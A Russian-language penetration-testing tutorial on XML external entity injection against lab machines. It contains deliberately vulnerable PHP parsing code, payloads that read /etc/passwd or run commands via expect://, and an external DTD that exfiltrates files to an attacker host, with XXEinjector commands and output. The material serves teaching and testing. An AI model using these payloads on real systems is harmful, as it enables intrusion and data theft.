В ходе работ по тестированию на проникновение мы можем столкнуться с уязвимостью, которая позволяет нам выполнять атаки XML eXternal Entity (XXE) Injection. XXE Инъекция — это тип атаки на приложение, которое анализирует ввод XML. Хотя это относительно эзотерическая уязвимость по сравнению с другими векторными атаками веб-приложений, например, Cross-Site Request Forgery (CSRF), мы максимально используем эту уязвимость, когда она появляется, поскольку она может привести к извлечению конфиденциальных данных и даже к удаленному исполнению кода (RCE). В статье мы рассмотрим настройку уязвимого PHP-сервера, эксплуатируя уязвимость вручную, а затем перейдем к удобному инструменту под названием XXEInjector, чтобы автоматизировать этот процесс.
Мы будем использовать две площадки. Первая — это простой PHP-сервер, а вторая – это виртуальная машина, с уязвимым веб-приложение Django. Ссылки на приложения и уязвимые скрипты представлены в конце статьи.
Настройка
Прежде чем более подробно узнать об этой атаке, будет полезно разобраться в том, как веб-приложение взаимодействует с XML-документом, позволяя эксплуатировать эту уязвимость. Для этого используем виртуальную машину с PHP, которая использует XML-документ для проверки учетных данных.
В качестве виртуальной машины используем Ubuntu, PHP 5 и Apache в качестве веб-сервера (но не советуем использовать Apache на продкашн серверах). Вам также понадобится модуль php-xml, для работы парсинга XML.
Для тестирования используем следующий код:
<?php
libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
$user = $creds->user;
$pass = $creds->pass;
echo "You have logged in as user $user";
?>
Приведенный выше скрипт срабатывает, когда делается запрос к /xml_injectable.php.
<creds>
<user>Ed</user>
<pass>mypass</pass>
</creds>
Ожидается, что четыре вышеуказанные строки будут введены в вышеупомянутую конечную точку PHP, и они будут сохранены в XML-файле под названием xml.txt. Этот файл использует данные POST-запроса через CURL:
Самым интересным аспектом анализа входных файлов XML является то, что они могут содержать код, который указывает на файл на самом сервере. Это пример внешней сущности. Мы рассмотрим полный диапазон внешних объектов, включая файлы, размещенные в Интернете через FTP и HTTP.
Давайте изменим файл xml.txt, чтобы он содержал следующий код:
<source lang="xml"><?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY <b>xxe</b> SYSTEM <b>"file:///etc/passwd</b>" >]>
<creds>
<user><b>&xxe;</b></user>
<pass>mypass</pass>
</creds>
Обратите внимание на элемент xxe. После отправки запроса с POST-данными, сервер-жертва ответит содержимым /etc/passwd:
Xml.txt указывает серверу искать внешний объект, файл: /etc/passwd, а затем ввести содержимое в поле «пользователь».
Удаленное исполнение кода
Если удача на нашей стороне, и модуль парсинга «PHP» загружен, мы можем использовать RCE. Давайте изменим содержание нашего файла:
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>
Ответ от сервера будет выглядеть следующим образом:
Тем не менее, такие случаи, где RCE возможен через XXE, довольно редки.
Автоматизация XXE Injection с помощью Burp и XXEinjector
Давайте протестируем автоматические средства для выявления таких уязвимостей. Используем виртуальную машину TurnKey Linux, на которой запущено веб-приложение Django, уязвимое для XXEi. Также мы используем один из популярных инструментов для поиска уязвимостей веб-приложений — Burp Suite.
Распакуйте и запустите файл конфигурации VM (.vmx). В загружаемый файл включен файл readme, который поможет вам настроить частную сеть на вашем компьютере.
У сервера VM есть уязвимая форма — /static/mailingList.html. Отправьте несколько рандомных значений и просканируйте запрос Burp сканером.
Burp должен оповестить нас о уязвимости XXE, вместе с некоторыми зависимыми XSS в качестве бонуса.
Фактически, профессиональная версия Burp достаточно быстра, чтобы использовать Burp Collaborator, внешнюю службу, которую Burp может использовать, чтобы помочь в обнаружении уязвимостей или использовании целей.
По сути, запрос Collaborator, отправляемый Burp к уязвимому приложению, предназначен для вызова Burp Collaborator через разрешение DNS и веб-запросы, которые, в случае успеха, сообщат Burp о том, что целевой компьютер выполнил вредоносную полезную нагрузку. Большинство уязвимостей может быть обнаружено путем изучения или журналирования ответа, но иногда с помощью внешнего сервиса, такого как Burp Collaborator, вы можете перейти на следующий уровень. В этом случае Burp вытащил сам файл /etc/passwd.
На следующих изображениях показана работа Collaborator'a.
Чтобы наиболее точно управлять процессом инъекции, воспользуемся XXEinjector. Нам потребуется незавершенный запрос. Мы сохраним этот код в файле request.txt.
Методология XXEinjector
XXEinjector отправляет пейлоад, который указывает удаленному серверу ответить с запрашиваемым файлом file.dtd. В этом же запросе от XXEinjector мы вызываем две другие сущности, которые могут быть выполнены только в том случае, если file.dtd успешно попадает на веб-сервер жертвы и интерпретируется правильно. Например, для того, чтобы это сработало на нашем PHP-сервере, нам нужно указать флаг XXEinjector, чтобы закодировать наш код в base64. Base64 использует ограниченный набор символов, который не приведет к сбою интерпретаторов в процессе выполнения эксплойта (например, кавычек), и ему нужен дополнительный этап декодирования для того, чтобы WAF/IDS/IPS не смог его заблокировать.
Запрос выглядит следующим образом:
POST /xml_injectable.php HTTP/1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:49.0) Gecko/20100101 Firefox/49.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 158
Host: 192.168.242.139
Content-Type: application/x-www-form-urlencoded
<!DOCTYPE convert [ <!ENTITY % remote SYSTEM «192.168.240.1:80/file.dtd»>%remote;%int;%trick;]>
blah
mypass
Атакуемый сервер парсит запрос и подставляет «remote» для содержимого файла file.dtd (после обращения к нашей атакующей машине). Файл File.dtd выглядит следующим образом:
<!ENTITY % payl SYSTEM "file:///etc/passwd">
<!ENTITY % int "<!ENTITY % trick SYSTEM
'http://192.168.240.1:80/?p=%payl;'>">
Обратите внимание, мы определяем новую сущность, «payl», которая представляет собой URL-адрес файла, который мы пытаемся извлечь. Затем мы определяем два недостающих объекта из предыдущего запроса: «int» и «trick». Обратите внимание, что «trick» — это объект, определенный в другом объекте — «int». Наконец, обратите внимание, что этот код не закодирован. Некоторые символы кодируются из-за встраивания одного объекта в другой, но сам запрос не кодируется в base64.
Теперь у нас есть все наши сущности. Обратите внимание, что в определении сущности «trick» мы заменяем содержимое «payl» содержимым /etc/passwd. Это означает, что все, что должен сделать сервер-жертва, это отправить запрос на сервер, с запущенным XXEinjector, передавая содержимое /etc/passwd в качестве параметра к этому URL-адресу. Приложению не нужно возвращать содержимое файла /etc/passwd в ответ на уязвимую веб-форму / страницу приложения. Он просто отправляет запрос с содержимым в этом параметре. XXEinjector анализирует параметр и сохраняет его в файле. Готово!
Практический пример
Вернемся к нашей первой площадке — простому PHP-серверу, работающему со скриптом xml_injectable.php. Давайте модифицируем PHP-скрипт, комментируя нерелевантный код.
<?php
libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
// $creds = simplexml_import_dom($dom);
// $user = $creds->user;
// $pass = $creds->pass;
// echo "You have logged in as user $user";
?>
Таким образом, скрипт загружает XML-форматированный запрос в объект PHP. Мы анализируем XML-документ в PHP-объекте. Давайте выполним запрос образца XXEinjector.
> sudo ruby XXEinjector.rb --host=192.168.240.1 --path=/etc/passwd
--file=phprequest.txt --proxy=192.168.240.1:8080 --oob=http --verbose
POST /xml_injectable.php HTTP/1.1
Host: 192.168.242.139
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:49.0) Gecko/20100101 Firefox/49.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
XXEINJECT
blah
mypass
После запуска этого запроса мы получаем следующий результат от XXEinjector:
Enumeration locked.
Sending request with malicious XML:
192.168.242.139/xml_injectable.php
{«User-Agent»=>«Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:49.0) Gecko/20100101 Firefox/49.0», «Accept»=>«text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8», «Accept-Language»=>«en-US,en;q=0.5», «Accept-Encoding»=>«gzip, deflate», «Connection»=>«close», «Upgrade-Insecure-Requests»=>«1», «Content-Length»=>«158»}
<!DOCTYPE convert [ <!ENTITY % remote SYSTEM
«192.168.240.1:80/file.dtd»>%remote;%int;%trick;]>
blah
mypass
Got request for XML:
GET /file.dtd HTTP/1.0
Responding with XML for: /etc/passwd
XML payload sent:
<!ENTITY % payl SYSTEM «file:///etc/passwd»>
<!ENTITY % int "<!ENTITY % trick SYSTEM
'http://192.168.240.1:80/?p=%payl;'>">
FTP/HTTP did not get response. XML parser cannot parse provided file or the application is not responsive. Wait or Next?
Из-за использования нескольких флагов мы можем точно видеть, что делает XXEinjector. Мы видим, что XXEinjector заставил сервер-жертву ответить файлом /file.dtd.
После изучения нашего журнала ошибок от Apache, мы заметили, что наш метод loadXML не получил достаточного количества данных, чтобы заставить его выдать файл.
[Sun Nov 06 09:10:46.145222 2016] [:error] [pid 1222] [client 192.168.242.1:64701] PHP Notice: DOMDocument::loadXML(): PEReference: %int; not found in Entity, line: 1 in /var/www/html/xml_injectable.php on line 16
[Sun Nov 06 09:10:46.145257 2016] [:error] [pid 1222] [client 192.168.242.1:64701] PHP Notice: DOMDocument::loadXML(): PEReference: %trick; not found in Entity, line: 1 in /var/www/html/xml_injectable.php on line 16
После некоторого исследования семантики XML и loadXML, мы пришли к осознанию того, что существует проблема с кодировкой — с тем, как специфицируется файл (/etc/passwd). К счастью, XXEinjector имеет флаг для кодирования этой строки. Мы просто добавляем флаг --phpfilter к нашему запросу.
> sudo ruby XXEinjector.rb --host=192.168.240.1 --path=/etc/passwd --file=phprequest.txt --proxy=192.168.240.1:8080 --oob=http --verbose --phpfilter
Результат выполения:
XXEinjector by Jakub PalaczynskiDTD injected.
Enumeration locked.
Sending request with malicious XML:
192.168.242.139/xml_injectable.php
{«User-Agent»=>«Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:49.0) Gecko/20100101 Firefox/49.0», «Accept»=>«text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8», «Accept-Language»=>«en-US,en;q=0.5», «Accept-Encoding»=>«gzip, deflate», «Connection»=>«close», «Upgrade-Insecure-Requests»=>«1», «Content-Length»=>«158»}
<!DOCTYPE convert [ <!ENTITY % remote SYSTEM«192.168.240.1:80/file.dtd»>%remote;%int;%trick;]>
blah
mypass
Got request for XML:
GET /file.dtd HTTP/1.0
Responding with XML for: /etc/passwd
XML payload sent:
<!ENTITY % payl SYSTEM «php://filter/read=convert.base64-encode/resource=file:///etc/passwd»>
<!ENTITY % int "<!ENTITY % trick SYSTEM
'http://192.168.240.1:80/?p=%payl;'>">
Response with file/directory content received:
GET /?p=cm9vdDp4OjA6M(rest of base64 encoded string) HTTP/1.0
Enumeration unlocked.
Successfully logged file: /etc/passwd
Nothing else to do. Exiting.
После проверки в нашем каталоге XXEinjector Logs мы увидим заветные дампы.
Ссылки
> Vulnerable Django VM (пароль: mcfatty)
> XXEinjector
> Vulnerable PHP Script
Поделиться с друзьями